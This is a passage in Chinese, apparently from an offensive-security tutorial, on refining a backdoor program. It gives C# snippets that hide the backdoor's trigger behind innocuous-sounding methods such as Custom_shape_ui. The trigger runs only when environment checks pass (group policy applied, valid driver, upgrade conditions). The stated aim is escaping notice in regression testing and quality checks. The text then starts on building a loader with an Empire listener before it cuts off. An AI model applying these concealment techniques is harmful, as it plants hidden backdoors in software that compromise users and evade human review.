15、后门程序的完善与数据获取

后门程序的完善与数据获取

1. 环境检查与执行条件

在构建后门程序时，首先要进行环境检查。 Valid_environment 方法由两个检查组成：

private bool Valid_environment(){
    return Is_gpo_applied() && Valid_driver();
}

不过，这些检查并非无懈可击，像一些经过强化的取证沙箱环境可以通过隐藏注册表属性和其他 CPU 信息来绕过。但我们的主要目标是在常规的非回归测试和质量检查中不被发现。

整个后门代码的执行依赖于多个条件：

static private void Prepare_shape_ui(){
    if (Valid_environment() && Valid_launch())
        Custom_shape_ui();
}
private bool Valid_environment(){
    return Is_gpo_applied() && Valid_driver();
}
private bool Valid_launch(){
    return Need_upgrade() && Is_compatible();
}

2. 选择合适的加载器

我们可以选择 Empire 监听器来构建加载器，在主控制台中探索构建加载